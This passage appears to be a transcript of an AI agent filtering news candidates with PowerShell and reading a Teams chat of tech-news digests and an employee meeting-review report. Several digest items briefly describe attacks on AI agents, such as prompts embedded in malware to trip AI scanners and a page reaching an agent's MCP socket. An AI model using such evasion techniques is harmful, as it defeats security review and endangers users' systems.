[pscustomobject]@{idx=$i;total=$c.total;q=$c.quality;date=$c.published.ToString('yyyy-MM-dd');feed=$c.feed;publisher=$c.publisher;title=$c.title} } }; [pscustomobject]@{raw=$d.raw_count;unique=$d.unique_count;matched=$rows.Count;rows=$rows} | ConvertTo-Json -Depth 4 -Compress`\n>\n> - Ran `$ErrorActionPreference='Stop'; $d=(python .\\collect_repeat_candidates.py|ConvertFrom-Json); $direct=@('GitHub Blog','GitHub Changelog','OpenAI','AWS What''s New','AWS News Blog','Google AI Blog','Microsoft Security','Microsoft DevBlogs','Azure Blog','Cloudflare Blog','Kubernetes Blog','CNCF Blog','Docker Blog','NVIDIA Blog','Hugging Face','Databricks','Unit 42','Snyk','BleepingComputer','Ars Technica','The Verge','TechCrunch','WIRED'); $pub='(?i)Reuters|Associated Press|\\bAP\\b|WSJ|Wall Street Journal|Bloomberg|Financial Times|CNBC|TechCrunch|The Verge|WIRED|Ars Technica|BleepingComputer|SecurityWeek|The Hacker News|Dark Reading|CyberScoop|SC Media|ZDNET|Computerworld|InfoWorld|TechTarget|VentureBeat|Axios|BBC|NBC|ABC News|CNET|Tech Policy Press|Brookings|Linux Foundation|HHS.gov|CISA|Splunk|Nextgov|Federal News Network|Data Center Dynamics|SiliconANGLE|The Register|Tom.s Hardware|Windows Central|Fortune|Forbes|CRN|CSO Online|BankInfoSecurity|Help Net Security|Industrial Cyber'; $topic='(?i)\\b(ai|artificial intelligence|agent|model|llm|developer|software|code|coding|github|open.source|cloud|aws|azure|kubernetes|database|linux|security|cyber|vulnerability|cve|exploit|breach|ransomware|malware|privacy|chip|gpu|infrastructure|data.center|devops|api|framework|runtime|enterprise|quantum|robot|acquisition|funding|browser|http|programming|container|network|identity|encryption|openai|anthropic|nvidia)\\b'; $bad='(?i)promo|coupon|prime day|best .*deal|shopping|gallery|stocks? to buy|interview questions|certification|what is artificial intelligence|podcast|webinar|job opening|career|gift|membership deal|dating|movie|game review'; $rows=for($i=0;$i -lt $d.candidates.Count;$i++){ $c=$d.candidates[$i];$hay=$c.title+' '+$c.summary;$trusted=($direct -contains $c.feed)-or($c.publisher -match $pub);if($trusted-and$hay-match$topic-and$c.title-notmatch$bad){[pscustomobject]@{idx=$i;total=$c.total;q=$c.quality;date=$c.published.ToString('yyyy-MM-dd');feed=$c.feed;publisher=$c.publisher;title=$c.title}}};[pscustomobject]@{count=$rows.Count;rows=$rows}|ConvertTo-Json -Depth 4 -Compress`\n>\n> - Wrote `./wanted_repeat_titles.json` (+52 -0)\n>\n> - Wrote `./wanted_repeat_titles.json` (+2 -2)\n>\n> - Ran `$ErrorActionPreference='Stop';$d=(python .\\collect_repeat_candidates.py|ConvertFrom-Json);$wanted=Get-Content -Raw .\\wanted_repeat_titles.json|ConvertFrom-Json;$found=@();$missing=@();foreach($w in $wanted){$c=$d.candidates|Where-Object{$_.title -like ('*'+$w+'*')}|Select-Object -First 1;if($null-ne$c){$s=[string]$c.summary;if($s.Length-gt260){$s=$s.Substring(0,260)};$found+=[pscustomobject]@{pattern=$w;title=$c.title;url=$c.url;feed=$c.feed;publisher=$c.publisher;published=$c.published.ToString('yyyy-MM-dd');summary=$s;ratings=$c.ratings;total=$c.total}}else{$missing+=$w}};[pscustomobject]@{found=$found.Count;missing=$missing;items=$found}|ConvertTo-Json -Depth 6 -Compress`\n>\n> \n>\n> The expanded sweep found enough genuinely fresh material for five strong additional posts\u201450 unique events after removing everything already in ChatReview. I\u2019m posting those five now; after that I\u2019ll reassess the remaining pool rather than automatically dumping lower-signal leftovers.\n>\n> \nCalled 6 tools\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.list_chat_messages\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"top\": 100\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"messages\": [\n>     {\n>       \"message_id\": \"1781862571753\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781862571753\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026\\n\\nReviewed 90 articles published June 12\u201319 across official feeds, Google News,\\nHacker News and major technology publications. Earlier ChatReview events were\\nexcluded.\\n\\n  1. **[AutoJack shows how one malicious page can reach an AI agent host](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)** \u2014 **Score: 34/35.** Microsoft showed how untrusted page content could reach a local MCP socket and execute processes in AutoGen Studio. Fixed upstream; PyPI releases were not exposed.\\n  2. **[AWS Security Agent adds threat modeling and coding-agent integrations](https://aws.amazon.com/blogs/aws/aws-security-agent-adds-threat-modeling-kiro-power-and-claude-code-plugin-and-more/)** \u2014 **Score: 34/35.** Adds STRIDE threat modeling, repo/PR scanning with remediation, plus Kiro, Claude Code and MCP integrations\u2014bringing security reviews into developer workflows.\\n  3. **[Cloudflare launches agent-powered Zero Trust deployment stack](https://blog.cloudflare.com/cloudflare-one-stack/)** \u2014 **Score: 34/35.** A library of agent skills can plan, deploy and manage Zero Trust environments, turning network and security migration into an agent-assisted workflow.\\n  4. **[OpenAI simulates deployment to predict model behavior before release](https://openai.com/index/deployment-simulation)** \u2014 **Score: 33/35.** Deployment Simulation privately replays prior conversations against candidate models to predict real-world misbehavior, including agentic tool-use rollouts.\\n  5. **[Amazon Bedrock AgentCore adds managed web search](https://aws.amazon.com/blogs/aws/announcing-web-search-on-amazon-bedrock-agentcore-ground-your-ai-agents-in-current-accurate-web-knowledge/)** \u2014 **Score: 33/35.** AgentCore now offers MCP-based web search with citations and zero customer-data egress, reducing the infrastructure needed to build grounded agents.\\n  6. **[Mastra npm compromise poisoned more than 140 packages](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)** \u2014 **Score: 32/35.** Postinstall malware could hit developer machines and CI/CD pipelines before the compromised Mastra packages were removed and publishing access revoked.\\n  7. **[Google pushes its AI chips as a broader Nvidia rival](https://www.wsj.com/tech/ai/google-is-using-nvidias-playbook-to-build-a-rival-ai-chip-business-1eac86f9)** \u2014 **Score: 32/35.** Google is using its cloud reach and years of accelerator development to court external customers and build a larger rival AI-chip business.\\n  8. **[Amazon explores selling Trainium chips outside AWS](https://techcrunch.com/2026/06/18/amazon-hopes-to-challenge-nvidia-more-directly-by-selling-its-ai-chips/)** \u2014 **Score: 32/35.** AWS is in early talks to sell Trainium to outside data centers, signaling a direct challenge to Nvidia and a new AI-infrastructure business.\\n  9. **[AWS WAF lets publishers charge AI bots at the edge](https://aws.amazon.com/blogs/aws/aws-waf-adds-ai-traffic-monetization-capability-to-help-content-owners-charge-ai-bots-for-content-access/)** \u2014 **Score: 32/35.** AWS WAF can meter and charge verified AI bots per request using x402 settlement\u2014a notable new commercial model for publisher and agent access.\\n  10. **[Cloudflare publishes its AI-assisted vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness/)** \u2014 **Score: 32/35.** Cloudflare detailed a multi-stage discovery and triage system designed to manage state, false positives and model context limits during security research.\\n  11. **[GitHub Copilot code review now follows AGENTS.md](https://github.blog/changelog/2026-06-18-copilot-code-review-agents-md-support-and-ui-improvements)** \u2014 **Score: 32/35.** Copilot code review now reads repository-level AGENTS.md instructions and is easier to request on draft pull requests; the changes are generally available.\\n  12. **[GitHub Actions gets safer pull_request_target defaults](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout)** \u2014 **Score: 31/35.** actions/checkout v7 reduces \u201cpwn request\u201d risk, where unreviewed fork code can run with repository secrets and elevated GITHUB_TOKEN permissions.\\n  13. **[MAI-Code-1-Flash expands across GitHub Copilot](https://github.blog/changelog/2026-06-18-mai-code-1-flash-available-on-more-copilot-surfaces/)** \u2014 **Score: 31/35.** Microsoft\u2019s small coding model is rolling out across Copilot CLI, GitHub, VS Code and mobile, with Business and Enterprise access planned.\\n  14. **[OpenAI adds enterprise usage analytics and spend controls](https://openai.com/index/chatgpt-enterprise-spend-controls)** \u2014 **Score: 31/35.** ChatGPT Enterprise adds unified ChatGPT/Codex credit analytics plus workspace, group and user limits to make AI rollout costs more governable.\\n  15. **[Critical Splunk flaw is exploited days after disclosure](https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/)** \u2014 **Score: 30/35.** CVE-2026-20253 was exploited days after disclosure; CISA gave agencies three days to patch the unauthenticated file-operation flaw.\",\n>       \"created_at\": \"2026-06-19T09:49:31.753Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781693002738\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781693002738\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 2/10\\n\\nSecond repeat pass. Previously posted same-event stories were filtered out.\\n\\n  1. **[Oracle warns PeopleSoft customers after mass exploitation](https://www.techradar.com/pro/security/oracle-warns-customers-of-critical-peoplesoft-attack-after-hundreds-of-servers-hacked-by-apparent-shinyhunters-data-theft-attacks)** \\\\- Score: 31/35. CVE-2026-35273 was reportedly exploited as a zero-day before Oracle's June 10 patch, hitting enterprise and university systems.\\n  2. **[Hades malware tricks AI scanners with prompt injection](https://www.tomshardware.com/tech-industry/cyber-security/hades-malware-campaign-now-tricks-ai-bots-by-injecting-text-about-biological-and-nuclear-weapons-failsafe-mechanisms-triggered-by-prompts-for-weapon-creation-stop-scans-before-payload-is-seen)** \\\\- Score: 31/35. Malicious Python and JavaScript packages now embed unsafe prompts to trip AI scanner safeguards and hide payloads from cursory checks.\\n  3. **[Vibe-coding startups are raising billions](https://www.businessinsider.com/startups-raising-billions-vibe-coding-boom-cursor-lovable-replit-emergent-2026-3)** \\\\- Score: 30/35. Replit, Lovable, Cognition, Poolside and others show how natural-language app building is pulling capital into developer tooling.\\n  4. **[Google Gemini suffers multi-hour global outage](https://www.techradar.com/news/live/gemini-down-june-2026)** \\\\- Score: 29/35. Gemini users saw error 1076/1099 across web and mobile, underscoring reliability risk as teams depend on AI assistants for work.\\n  5. **[Tech leaders soften how they talk about AI job impact](https://www.businessinsider.com/ai-job-impact-losses-shifting-sam-altman-mustafa-suleyman-comments-2026-6)** \\\\- Score: 28/35. Altman, Suleyman and others are reframing AI from job wipeout to task automation as public and political backlash rises.\\n  6. **[OpenAI and Anthropic warn about the AI future they are building](https://www.businessinsider.com/openai-anthropic-warning-about-future-they-are-building-2026-6)** \\\\- Score: 28/35. Frontier labs are calling for stronger safety coordination while still racing to ship models and developer automation tools.\\n  7. **[OpenAI and Anthropic IPO plans could reshape AI investing](https://www.businessinsider.com/openai-anthropic-ai-ipo-spacex-stocks-stock-market-investing-trade-2026-6)** \\\\- Score: 27/35. Direct public listings for frontier labs could pull capital away from hyperscalers, chips and other indirect AI beneficiaries.\\n  8. **[Palantir CEO criticizes AI companies and their deployment model](https://www.businessinsider.com/palantir-ceo-ai-companies-leaders-unlikeable-fde-competition-2026-6)** \\\\- Score: 26/35. Alex Karp says AI firms misunderstand public trust and copy Palantir's forward-deployed model without enough operational discipline.\\n  9. **[The Internet of Agentic AI](https://arxiv.org/abs/2606.12835)** \\\\- Score: 26/35. New research frames autonomous agents as distributed systems needing identity, negotiation, trust, governance and resource control.\\n  10. **[Programming languages still matter to AI coding agents](https://arxiv.org/abs/2606.13763)** \\\\- Score: 26/35. Claude Code and Codex built chess engines in 17 languages, but performance, cost and supervision still varied heavily by language.\",\n>       \"created_at\": \"2026-06-17T10:43:22.738Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692653287\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692653287\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 1/10\\n\\nFresh pass after the earlier Jun 17 post. Same-event duplicates from prior\\nChatReview posts were skipped.\\n\\n  1. **[Salesforce to acquire AI agent maker Fin in $3.6B deal](https://www.investors.com/news/technology/salesforce-stock-fin-artificial-intelligence-acqusition-crm/)** \\\\- Score: 32/35. Salesforce is buying Fin/Intercom to strengthen Agentforce, showing how agentic AI is reshaping CRM and enterprise support software.\\n  2. **[OpenAI's latest acquisition could reshape Codex](https://www.techradar.com/pro/openais-latest-acquisition-could-see-big-changes-on-the-way-for-its-codex-coding-assistant)** \\\\- Score: 31/35. OpenAI's planned Ona acquisition targets persistent agent environments, a key building block for long-running Codex and workflow automation.\\n  3. **[Microsoft temporarily bans employees from Claude Fable 5](https://www.windowscentral.com/artificial-intelligence/microsoft-temporarily-ban-employees-from-using-claude-fable-5-ai)** \\\\- Score: 31/35. Anthropic data-retention changes triggered internal Microsoft restrictions, highlighting enterprise AI privacy and competitive-data risks.\\n  4. **[OpenAI weighs price cuts to compete with Anthropic](https://nypost.com/2026/06/11/business/openai-weighs-slashing-prices-in-attempt-to-lure-users-from-rival-anthropic-report/)** \\\\- Score: 30/35. Possible token-price cuts point to a broader AI pricing war that could change model selection and product economics for engineering teams.\\n  5. **[Enterprises are still unprepared to operationalize AI agents](https://www.itpro.com/technology/artificial-intelligence/most-enterprises-are-still-unprepared-to-operationalize-it-it-leaders-are-bullish-on-agents-but-keeping-falling-at-the-final-hurdle-heres-why)** \\\\- Score: 29/35. Forrester warns most agent projects remain pilots because governance, orchestration, data quality and security controls are not mature enough.\\n  6. **[Security at machine speed: why the SOC must be rebuilt](https://www.techradar.com/pro/security-at-machine-speed-why-the-soc-must-be-rebuilt-for-the-ai-era)** \\\\- Score: 29/35. AI-accelerated attacks are forcing SOC teams toward agentic detection, faster triage and new response metrics.\\n  7. **[CISA orders urgent patching for exploited Check Point VPN flaw](https://timesofindia.indiatimes.com/technology/tech-news/us-cybersecurity-agency-cisa-to-homeland-security-department-of-state-treasury-and-several-other-government-agencies-you-have-less-than-24-hours-to-fix-/articleshow/131630443.cms)** \\\\- Score: 29/35. Federal agencies were told to fix CVE-2026-50751 quickly, a reminder that VPN and identity-edge systems remain high-priority attack paths.\\n  8. **[Rule taxonomy and evolution in AI IDEs](https://arxiv.org/abs/2606.12231)** \\\\- Score: 28/35. Researchers mined 7,310 AI IDE rules, showing project-specific constraints improve compliance and are becoming real engineering artifacts.\\n  9. **[AI-driven software development: path to agentic processes](https://arxiv.org/abs/2606.15283)** \\\\- Score: 28/35. New research frames agentic development around context, permissions, logging, verification and human approval rather than simple code generation.\\n  10. **[Mining architectural quality under agentic AI adoption](https://arxiv.org/abs/2606.13298)** \\\\- Score: 27/35. A causal Java-repo study warns that architecture metrics can look better simply because AI-assisted codebases grow larger.\\n  11. **[Agentic AI-generated Julia code struggles at HPC scale](https://arxiv.org/abs/2606.16534)** \\\\- Score: 27/35. AI agents produced executable parallel Julia code, but larger HPC runs hit deadlocks, oversubscription and memory failures.\\n  12. **[Chaining tasks, redefining work: a theory of AI automation](https://arxiv.org/abs/2606.15960)** \\\\- Score: 26/35. A new automation model explains how AI changes jobs by chaining adjacent tasks, with implications for workflow and org design.\",\n>       \"created_at\": \"2026-06-17T10:37:33.287Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692120704\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692120704\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026\\n\\nReviewed 50+ recent items from Jun 10-17, 2026. Duplicate events from previous\\nChatReview news posts were skipped.\\n\\n  1. **[Anthropic export ban sounds alarms for AI industry](https://www.axios.com/2026/06/16/ai-anthropic-export-controls)** \\\\- Score: 34/35. U.S. controls on Anthropic's Fable/Mythos models raise access, safety and go-to-market risk for frontier AI customers.\\n  2. **[Microsoft turns to Amazon for help with GitHub's AI-driven capacity issues](https://www.businessinsider.com/microsoft-github-amazon-ai-cloud-capacity-2026-6)** \\\\- Score: 34/35. AI coding demand is straining GitHub; Microsoft is reportedly adding AWS capacity to reduce outages and keep developer workflows stable.\\n  3. **[SpaceX is buying AI coding startup Cursor for $60 billion](https://www.businessinsider.com/spacex-confirms-cursor-acquisition-60-billion-ai-coding-startup-2026-6)** \\\\- Score: 33/35. One of the largest AI developer-tool deals would fold Cursor into Musk's AI stack and reshape competition with Copilot, Codex and Claude Code.\\n  4. **[CISA tells US agencies to fix security bugs in as little as 3 days thanks to AI threats](https://www.wired.com/story/cisa-ai-vulnerability-directive)** \\\\- Score: 33/35. CISA's new BOD cuts critical vulnerability remediation to as little as three days, signaling faster patch SLAs for AI-era security.\\n  5. **[Microsoft weighs DeepSeek for Copilot Cowork](https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork)** \\\\- Score: 33/35. Microsoft may add Azure-hosted DeepSeek and move Copilot Cowork to usage pricing, highlighting cost pressure in enterprise AI agents.\\n  6. **[Visa to secure payments for shoppers on ChatGPT in OpenAI partnership](https://www.wsj.com/tech/ai/visa-to-secure-payments-for-shoppers-on-chatgpt-in-openai-partnership-7ece5b22)** \\\\- Score: 32/35. Visa and OpenAI are building controlled agent payments for ChatGPT, pushing agentic commerce toward real payment rails and merchant APIs.\\n  7. **[AI shifts cyber's hardest problem from finding flaws to fixing them](https://www.wsj.com/pro/cybersecurity/ai-shifts-cybers-hardest-problem-from-finding-flaws-to-fixing-them-43678882)** \\\\- Score: 32/35. Visa's AI security work argues the bottleneck is no longer finding bugs but validating, patching and testing fixes fast enough.\\n  8. **[Databricks releases general AI agents for businesses](https://www.wsj.com/cio-journal/databricks-releases-general-ai-agents-for-businesses-abffb409)** \\\\- Score: 31/35. Databricks launched Genie One, Genie Agents, App Builder and Genie Code, expanding from data platform into enterprise AI agent workflows.\\n  9. **[Arcade.dev raises $60 million to secure AI agents](https://www.wsj.com/cio-journal/arcade-dev-raises-60-million-to-secure-ai-agents-5d07eff4)** \\\\- Score: 31/35. Arcade's funding spotlights agent authorization: separating reasoning from actions, enforcing runtime policy and auditing MCP/A2A tool access.\\n  10. **[Microsoft walked away from a $3 billion Oracle cloud deal over security concerns](https://www.businessinsider.com/microsoft-was-in-talks-to-lease-oracle-compute-capacity-2026-6)** \\\\- Score: 31/35. Microsoft dropped an Oracle capacity deal over FedRAMP gaps, showing compliance is becoming a hard constraint in AI compute sourcing.\\n  11. **[HPE flexes Juniper muscles in AI networking at Discover event](https://www.investors.com/news/technology/hpe-stock-discover-conference-juniper-artificial-intelligence/)** \\\\- Score: 30/35. HPE is packaging Juniper networking into AI data-center and edge stacks, raising competition with Cisco, Arista and Nvidia networking.\\n  12. **[OpenAI hit with multistate probe into possible user harm as IPO looms](https://apnews.com/article/a95894407773307fae8ae3ce9742b586)** \\\\- Score: 30/35. A 42-state probe into OpenAI's data, ads, minors and safety practices may shape AI product governance and enterprise risk reviews.\\n  13. **[Rackspace stock surges on AMD data-center deal](https://www.barrons.com/articles/rackspace-stock-price-amd-data-center-deal-aebdbae1)** \\\\- Score: 29/35. Rackspace chose AMD as primary AI data-center supplier, part of a broader shift toward managed AI infrastructure outside hyperscaler clouds.\\n  14. **[Nvidia joins AI data-center borrowers as infrastructure debt surges](https://www.investors.com/news/technology/ai-data-centers-suppliers-nvidia-debt/)** \\\\- Score: 29/35. Nvidia's bond issue and rising AI data-center debt show how aggressively the industry is financing compute capacity through 2030.\\n  15. **[Databricks rolls out AI spend controls](https://www.axios.com/2026/06/16/databricks-stop-ai-overspend-tokenmaxxing)** \\\\- Score: 29/35. Databricks' Unity AI Gateway adds spend limits and runaway-use controls, a practical response to unpredictable agent/token costs.\",\n>       \"created_at\": \"2026-06-17T10:28:40.704Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604960018\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604960018\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Concise Version\\n\\n**Selected meeting:** Latest completed Fathom meeting, Apr 21, 2026. Reviewed\\nagainst the 20 most recent prior Jenish-recorded meetings. Sensitive details\\nremoved.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### Score Summary\\n\\n  * **Overall:** 4.3/10 - Needs Improvement\\n  * **Grammar:** 3/10 - Poor. Sentences were often incomplete or hard to parse. Some noise may come from transcription, but clarity still needs work.\\n  * **Communication:** 5/10 - Needs Improvement. Right topics were covered, but the meeting lacked structure and recap discipline.\\n  * **Client frustration handling:** 5/10 - Needs Improvement. Risk increases when questions repeat or timelines are not explained early.\\n\\n### What Went Well\\n\\n  * The team identified important risks: backend migration, login, TTS/audio, grammar correction, Roleplay, payment logic, and cleanup.\\n  * Action items were captured for documentation, testing, migration, and feature fixes.\\n  * Across recent meetings, access negotiation and production-risk planning have improved.\\n\\n### Top Issues By Business Impact\\n\\n  1. **High - unclear opening/context.** Evidence: 00:02 and 02:33. The meeting should start with goal, agenda, and expected output.\\n  2. **High - broad status request.** Evidence: 03:03. Ask by module: status, blocker, owner, due date, test proof.\\n  3. **High - migration discussion too unstructured.** Evidence: 18:37. Supabase, webhooks, TTS, queues, keys, and cleanup should be split into decisions.\\n  4. **Medium - repeated completion checks.** Evidence: 09:49, 18:08-18:20, 31:30-32:04. Repeating done/clear without feature names wastes time.\\n  5. **Medium - client delay concern pattern.** Evidence from prior client call: 35:01. The client had asked repeatedly about timing and still did not understand the delay.\\n\\n### Repeated / Unclear Questions\\n\\n  * **Unclear:** \u201cHow much complete and how much rest?\u201d   \\n**Better:** \u201cList each module with status, blocker, owner, due date, and test\\nevidence.\u201d\\n\\n  * **Unclear:** \u201cIs it done?\u201d   \\n**Better:** \u201cIs this implemented, tested on staging, and matching expected\\nbehavior?\u201d\\n\\n  * **Unclear:** \u201cCheck payment logic.\u201d   \\n**Better:** \u201cVerify purchase success, webhook update, entitlement allocation,\\nfailure handling, and refund/cancel behavior.\u201d\\n\\n### Trend Across Recent Meetings\\n\\n  * **Improved:** better access negotiation, better production rollback thinking, more consistent Fathom action-item capture.\\n  * **Still recurring:** weak English polish, unclear meeting control, repeated clarifications, technical detail before business impact, and reactive timeline explanations.\\n\\n### Recommended Actions\\n\\n  1. Use a fixed meeting checklist: agenda, modules, blockers, decisions, owners, dates.\\n  2. Ask one question at a time, then confirm: decision + owner + deadline + test evidence.\\n  3. Before asking the client for access/details, explain why it is needed.\\n  4. End every call with a 60-second recap and send written notes within 15 minutes.\\n\\n**Final recommendation:** Focus first on meeting structure. Grammar matters,\\nbut the biggest business improvement will come from agenda control, clearer\\nquestions, and consistent decision/owner/date recaps.\",\n>       \"created_at\": \"2026-06-16T10:16:00.018Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604667200\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604667200\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report\\n\\n**Selected meeting:** Most recent completed Fathom recording: Math IQ app\\nreview, Apr 21, 2026.\\n\\n**Trend context:** Reviewed the selected transcript plus the 20 most recent\\nprior Jenish-recorded Fathom meetings from Apr 20 to Feb 27, 2026. Detailed\\nline evidence is from the selected transcript plus two comparison transcripts.\\nSensitive client details have been removed.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.3/10 - Needs Improvement. Average of grammar, communication, and client-frustration handling.\\n  * **Grammar score:** 3/10 - Poor. Many captured sentences are incomplete, hard to parse, or use unclear word choices. Some may be Fathom transcription noise, but the call still reads difficult to follow.\\n  * **Communication score:** 5/10 - Needs Improvement. The meeting covered the right technical areas, but structure, ownership, and recap discipline were weak.\\n  * **Client-frustration handling score:** 5/10 - Needs Improvement. Latest call was mostly internal, but the broader pattern shows risk when timeline, access, or reason-for-question is not explained before asking for details.\\n  * **Client frustration risk:** 4/10 in the selected internal meeting; higher in client meetings when repeated clarifications or timeline delays appear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting reviewed Math IQ app status, Flutter/backend architecture,\\nmigration from cloud functions to Supabase, push notifications, Google login,\\nTTS/audio playback, grammar correction, Learn Flow, Roleplay, referral\\nhandling, scheduled notifications, payment logic, and documentation. The team\\ndid surface useful tasks, but the conversation was difficult to follow because\\nseveral requests were broad, repeated, or missing a clear\\nowner/date/acceptance-criteria recap.\\n\\n### 3\\\\. What Went Well\\n\\n  * Important technical risks were raised, including backend migration, payment logic, TTS/audio, login, and production cleanup.\\n  * The team did identify concrete follow-ups such as documentation, migration cleanup, feature fixes, testing, and disabling non-priority items.\\n  * Across prior meetings, access negotiation improved: when code access was not available, tester/app access was accepted as a practical alternative.\\n  * In the Apr 6 comparison meeting, rollout risk thinking was stronger: backend first, app submissions separately, rollback if needed, and user migration planning.\\n\\n### 4\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact - Unclear opening and context.** Evidence: selected transcript L1 @ 00:02 and L2 @ 02:33. The opening did not clearly state agenda, meeting goal, or expected output, which makes the meeting harder to control.\\n  2. **High impact - Broad status request without a checklist.** Evidence: L3 @ 03:03 asked for what is complete and what remains, but not by module, blocker, owner, or due date. This increases risk of missed scope.\\n  3. **High impact - Technical migration discussion lacked decision framing.** Evidence: L6 @ 18:37 covered Supabase migration, webhooks, TTS, queues, keys, and removed tables in one long block. This should have been split into clear decisions and owners.\\n  4. **High impact - Vague task handoff.** Evidence: L11 @ 30:53 asked to check payment logic, but did not define expected behavior, test cases, failure states, or success criteria.\\n  5. **Medium impact - Repeated completion checks.** Evidence: L4 @ 09:49, L5 @ 18:08-18:20, L8 @ 24:15, and L12 @ 31:30-32:04. Repeating done/complete/clear without a precise feature name can waste time and create confusion.\\n  6. **Medium impact - Client delay concern pattern.** Evidence: Apr 6 comparison transcript T2 @ 35:01. The client indicated they had asked repeatedly about timing and still did not understand the delay. This is a trust risk if not acknowledged early.\\n  7. **Low to medium impact - Meeting close was too weak.** Evidence: L13 @ 32:22-32:35. The call ended without a crisp recap of decisions, owners, deadlines, and risks.\\n\\n### 5\\\\. Missed Opportunities\\n\\n  * Start with a 30-second agenda: status, blockers, 